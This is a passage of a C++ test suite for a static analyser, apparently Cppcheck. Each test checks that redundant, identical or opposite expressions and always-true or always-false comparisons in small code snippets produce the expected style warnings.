ASSERT_EQUALS(\"[test.cpp:3:25] -> [test.cpp:4:34]: (style) Same expression on both sides of '-' because 'buffer[index-1]' and 'var' represent the same value. [duplicateExpression]\\n\", errout_str());\n }\n\n void duplicateExpression13() { //#7899\n check(\"void f() {\\n\"\n \" if (sizeof(long) == sizeof(long long)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression14() { //#9871\n check(\"int f() {\\n\"\n \" int k = 7;\\n\"\n \" int* f = &k;\\n\"\n \" int* g = &k;\\n\"\n \" return (f + 4 != g + 4);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:14] -> [test.cpp:4:14] -> [test.cpp:5:19]: (style) The comparison 'f+4 != g+4' is always false because 'f+4' and 'g+4' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void duplicateExpression15() { //#10650\n check(\"bool f() {\\n\"\n \" const int i = int(0);\\n\"\n \" return i == 0;\\n\"\n \"}\\n\"\n \"bool g() {\\n\"\n \" const int i = int{ 0 };\\n\"\n \" return i == 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:22] -> [test.cpp:3:14]: (style) The comparison 'i == 0' is always true. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:6:22] -> [test.cpp:7:14]: (style) The comparison 'i == 0' is always true. [knownConditionTrueFalse]\\n\",\n errout_str());\n }\n\n void duplicateExpression16() {\n check(\"void f(const std::string& a) {\\n\" //#10569\n \" if ((a == \\\"x\\\") ||\\n\"\n \" (a == \\\"42\\\") ||\\n\"\n \" (a == \\\"y\\\") ||\\n\"\n \" (a == \\\"42\\\")) {}\\n\"\n \"}\\n\"\n \"void g(const std::string& a) {\\n\"\n \" if ((a == \\\"42\\\") ||\\n\"\n \" (a == \\\"x\\\") ||\\n\"\n \" (a == \\\"42\\\") ||\\n\"\n \" (a == \\\"y\\\")) {}\\n\"\n \"}\\n\"\n \"void h(const std::string& a) {\\n\"\n \" if ((a == \\\"42\\\") ||\\n\"\n \" (a == \\\"x\\\") ||\\n\"\n \" (a == \\\"y\\\") ||\\n\"\n \" (a == \\\"42\\\")) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:28] -> [test.cpp:4:20]: (style) Same expression 'a==\\\"42\\\"' found multiple times in chain of '||' operators. [duplicateExpression]\\n\"\n \"[test.cpp:7:28] -> [test.cpp:9:20]: (style) Same expression 'a==\\\"42\\\"' found multiple times in chain of '||' operators. [duplicateExpression]\\n\"\n \"[test.cpp:13:28] -> [test.cpp:16:20]: (style) Same expression 'a==\\\"42\\\"' found multiple times in chain of '||' operators. [duplicateExpression]\\n\",\n errout_str());\n\n check(\"void f(const char* s) {\\n\" // #6371\n \" if (*s == '\\x0F') {\\n\"\n \" if (!s[1] || !s[2] || !s[1])\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:28]: (style) Same expression '!s[1]' found multiple times in chain of '||' operators. [duplicateExpression]\\n\", errout_str());\n }\n\n void duplicateExpression17() {\n check(\"enum { E0 };\\n\" // #12036\n \"void f() {\\n\"\n \" if (0 > E0) {}\\n\"\n \" if (E0 > 0) {}\\n\"\n \" if (E0 == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) The comparison '0 > E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:4:12]: (style) The comparison 'E0 > 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:5:12]: (style) The comparison 'E0 == 0' is always true. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #12040, #12044\n \" static const int I = 0;\\n\"\n \" enum { E0 };\\n\"\n \" enum F { F0 };\\n\"\n \" void f() {\\n\"\n \" if (0 > I) {}\\n\"\n \" if (0 > S::I) {}\\n\"\n \" if (0 > E0) {}\\n\"\n \" if (0 > S::E0) {}\\n\"\n \" }\\n\"\n \"};\\n\"\n \"void g() {\\n\"\n \" if (0 > S::I) {}\\n\"\n \" if (0 > S::E0) {}\\n\"\n \" if (0 > S::F::F0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:26] -> [test.cpp:6:15]: (style) The comparison '0 > I' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:26] -> [test.cpp:7:15]: (style) The comparison '0 > S::I' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:8:15]: (style) The comparison '0 > E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:9:15]: (style) The comparison '0 > S::E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:26] -> [test.cpp:13:11]: (style) The comparison '0 > S::I' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:14:11]: (style) The comparison '0 > S::E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:15:11]: (style) The comparison '0 > S::F::F0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"template\\n\" // #12122\n \"void f() {\\n\"\n \" static_assert(std::is_same::value || std::is_integral::value);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression18() {\n checkP(\"#if defined(ABC)\\n\" // #13218\n \"#define MACRO1 (0x1)\\n\"\n \"#else\\n\"\n \"#define MACRO1 (0)\\n\"\n \"#endif\\n\"\n \"#if defined(XYZ)\\n\"\n \"#define MACRO2 (0x2)\\n\"\n \"#else\\n\"\n \"#define MACRO2 (0)\\n\"\n \"#endif\\n\"\n \"#define MACRO_ALL (MACRO1 | MACRO2)\\n\"\n \"void f() {\\n\"\n \" if (MACRO_ALL == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionLoop() {\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" while ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:15]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() { int a = 1; while ( a != 1){ a++; }}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { int a = 1; for ( int i=0; i < 3 && a != 1; i++){ a++; }}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int b) { int a = 1; while (b) { if ( a != 1){} b++; } a++; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17] -> [test.cpp:3:15]: (style) The comparison 'i != 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) {}\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) { i++; }\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) { i++; }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i = 0;\\n\"\n \" while(i < 10) {\\n\"\n \" if( i != 0 ) {}\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int b) {\\n\"\n \" while (b) {\\n\"\n \" int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \" b++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17] -> [test.cpp:4:16]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"struct T {\\n\" // #11083\n \" std::string m;\\n\"\n \" const std::string & str() const { return m; }\\n\"\n \" T* next();\\n\"\n \"};\\n\"\n \"void f(T* t) {\\n\"\n \" const std::string& s = t->str();\\n\"\n \" while (t && t->str() == s)\\n\"\n \" t = t->next();\\n\"\n \" do {\\n\"\n \" t = t->next();\\n\"\n \" } while (t && t->str() == s);\\n\"\n \" for (; t && t->str() == s; t = t->next());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string &out, const std::vector &list) {\\n\" // #13669\n \" for (int i = 0, size = list.size(); i < size; i++) {\\n\"\n \" out += list[i];\\n\"\n \" if (size > 0 && i < (size - 2))\\n\"\n \" out += \\\",\\\";\\n\"\n \" else if (i == (size - 1))\\n\"\n \" out += \\\".\\\";\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionTernary() { // #6391\n check(\"void f() {\\n\"\n \" return A ? x : x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression in both branches of ternary operator. [duplicateExpressionTernary]\\n\", errout_str());\n\n check(\"int f(bool b, int a) {\\n\"\n \" const int c = a;\\n\"\n \" return b ? a : c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:19] -> [test.cpp:3:18]: (style) Same expression in both branches of ternary operator. [duplicateExpressionTernary]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" return A ? x : z;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(unsigned char c) {\\n\"\n \" x = y ? (signed char)c : (unsigned char)c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string stringMerge(std::string const& x, std::string const& y) {\\n\" // #7938\n \" return ((x > y) ? (y + x) : (x + y));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6426\n {\n const char code[] = \"void foo(bool flag) {\\n\"\n \" bar( (flag) ? ~0u : ~0ul);\\n\"\n \"}\";\n /*const*/ Settings settings = _settings;\n settings.platform.sizeof_int = 4;\n settings.platform.int_bit = 32;\n\n settings.platform.sizeof_long = 4;\n settings.platform.long_bit = 32;\n check(code, &settings);\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n settings.platform.sizeof_long = 8;\n settings.platform.long_bit = 64;\n check(code, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n }\n }\n\n void duplicateValueTernary() {\n check(\"void f() {\\n\"\n \" if( a ? (b ? false:false): false ) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f1(int a) {return (a == 1) ? (int)1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f2(int a) {return (a == 1) ? (int)1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f3(int a) {return (a == 1) ? 1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:36]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f4(int a) {return (a == 1) ? 1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:36]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f5(int a) {return (a == (int)1) ? (int)1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:46]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f6(int a) {return (a == (int)1) ? (int)1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:46]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f7(int a) {return (a == (int)1) ? 1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f8(int a) {return (a == (int)1) ? 1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"struct Foo {\\n\"\n \" std::vector bar{1,2,3};\\n\"\n \" std::vector baz{4,5,6};\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" Foo foo;\\n\"\n \" it = true ? foo.bar.begin() : foo.baz.begin();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" std::vector bar{1,2,3};\\n\"\n \" std::vector baz{4,5,6};\\n\"\n \" std::vector v = b ? bar : baz;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool q) {\\n\" // #9570\n \" static int a = 0;\\n\"\n \" static int b = 0;\\n\"\n \" int& x = q ? a : b;\\n\"\n \" ++x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a, b; };\\n\" // #10107\n \"S f(bool x, S s) {\\n\"\n \" (x) ? f.a = 42 : f.b = 42;\\n\"\n \" return f;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"float f(float x) {\\n\" // # 11368\n \" return (x >= 0.0) ? 0.0 : -0.0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionTemplate() {\n check(\"template void f() {\\n\" // #6930\n \" if (I >= 0 && I < 3) {}\\n\"\n \"}\\n\"\n \"\\n\"\n \"static auto a = f<0>();\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\" // #7754\n \"void f() {\\n\"\n \" if (std::is_same_v || std::is_same_v) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"typedef long long int64_t;\"\n \"template\\n\"\n \"void f() {\\n\"\n \" if (std::is_same_v || std::is_same_v) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define int32_t int\"\n \"template\\n\"\n \"void f() {\\n\"\n \" if (std::is_same_v || std::is_same_v) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define F(v) (v) != 0\\n\" // #12392\n \"template\\n\"\n \"void f() {\\n\"\n \" if (F(0)) {}\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" f();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionCompareWithZero() {\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x && b) || (x != 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '||' because 'x&&b' and 'x!=0&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x != 0 && b) || (x && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (style) Same expression on both sides of '||' because 'x!=0&&b' and 'x&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x && b) || (b && x != 0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '||' because 'x&&b' and 'b&&x!=0' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((!x && b) || (x == 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Same expression on both sides of '||' because '!x&&b' and 'x==0&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x == 0 && b) || (!x && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (style) Same expression on both sides of '||' because 'x==0&&b' and '!x&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((!x && b) || (b && x == 0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Same expression on both sides of '||' because '!x&&b' and 'b&&x==0' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" int* getX() const;\\n\"\n \" bool getB() const;\\n\"\n \" void f() {\\n\"\n \" if ((getX() && getB()) || (getX() != 0 && getB())) {}\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:32]: (style) Same expression on both sides of '||' because 'getX()&&getB()' and 'getX()!=0&&getB()' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x && b) || (x == 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((!x && b) || (x != 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void oppositeExpression() {\n check(\"void f(bool a) { if(a && !a) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (style) Opposite expression on both sides of '&&'. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if(a != !a) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( a == !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( a != !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(a) == a ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(a) != a ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(!a) == !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(!a) != !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f1(bool a) {\\n\"\n \" const bool b = a;\\n\"\n \" if( a == !(b) ) {}\\n\"\n \" if( b == !(a) ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\"\n \"[test.cpp:2:20] -> [test.cpp:4:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f2(const bool *a) {\\n\"\n \" const bool b = *a;\\n\"\n \" if( *a == !(b) ) {}\\n\"\n \" if( b == !(*a) ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:12]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\"\n \"[test.cpp:2:20] -> [test.cpp:4:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { a = !a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a) { if( a < -a ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (style) Opposite expression on both sides of '<'. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(int a) { a -= -a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a) { a = a / (-a); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int i){ return !((i - 1) & i); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(unsigned i){ return (x > 0) && (x & (x-1)) == 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void A::f(bool a, bool c)\\n\"\n \"{\\n\"\n \" const bool b = a;\\n\"\n \" if(c) { a = false; }\\n\"\n \" if(b && !a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool c) {\\n\"\n \" const bool b = a;\\n\"\n \" if(c) { a = false; }\\n\"\n \" if(b && !a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" bool x = a;\\n\"\n \" dostuff();\\n\"\n \" if (x && a) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const bool b = g();\\n\"\n \" if (!b && g()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = a[42];\\n\"\n \" if( b == !(a[42]) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:21] -> [test.cpp:3:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = a[42];\\n\"\n \" if( a[42] == !(b) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:21] -> [test.cpp:3:15]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = *a;\\n\"\n \" if( b == !(*a) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = *a;\\n\"\n \" if( *a == !(b) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:12]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(uint16_t u) {\\n\" // #9342\n \" if (u != (u & -u))\\n\"\n \" return false;\\n\"\n \" if (u != (-u & u))\\n\"\n \" return false;\\n\"\n \" return true;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateVarExpression() {\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f();\\n\"\n \" int j = f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; int g() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; int g() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" Foo f2 = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:9] -> [test.cpp:5:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = 1 + f();\\n\"\n \" int j = 1 + f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f() + 1;\\n\"\n \" int j = 1 + f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int x = f();\\n\"\n \" int i = x + 1;\\n\"\n \" int j = f() + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f() + f();\\n\"\n \" int j = f() + f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f(int) __attribute__((pure));\\n\"\n \"int g(int) __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f(0);\\n\"\n \" int j = f(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f(int) __attribute__((pure));\\n\"\n \"int g(int) __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" const int x = 0;\\n\"\n \" int i = f(0);\\n\"\n \" int j = f(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(const int * p, const int * q) {\\n\"\n \" int i = *p;\\n\"\n \" int j = *p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"void test() {\\n\"\n \" int i = 0;\\n\"\n \" int j = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test() {\\n\"\n \" int i = -1;\\n\"\n \" int j = -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int);\\n\"\n \"void test() {\\n\"\n \" int i = f(0);\\n\"\n \" int j = f(1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f();\\n\"\n \"int g();\\n\"\n \"void test() {\\n\"\n \" int i = f() || f();\\n\"\n \" int j = f() && f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo {};\\n\"\n \"void test() {\\n\"\n \" Foo i = Foo();\\n\"\n \" Foo j = Foo();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo {};\\n\"\n \"void test() {\\n\"\n \" Foo i = Foo{};\\n\"\n \" Foo j = Foo{};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo { int f() const; float g() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f(); int g(); };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test() {\\n\"\n \" int i = f();\\n\"\n \" int j = f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = ++x;\\n\"\n \" int j = ++x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = x++;\\n\"\n \" int j = x++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = --x;\\n\"\n \" int j = --x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = x--;\\n\"\n \" int j = x--;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = x + 1;\\n\"\n \" int j = 1 + x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateVarExpressionUnique() {\n check(\"struct SW { int first; };\\n\"\n \"void foo(SW* x) {\\n\"\n \" int start = x->first;\\n\"\n \" int end = x->first;\\n\"\n \"}\");\n 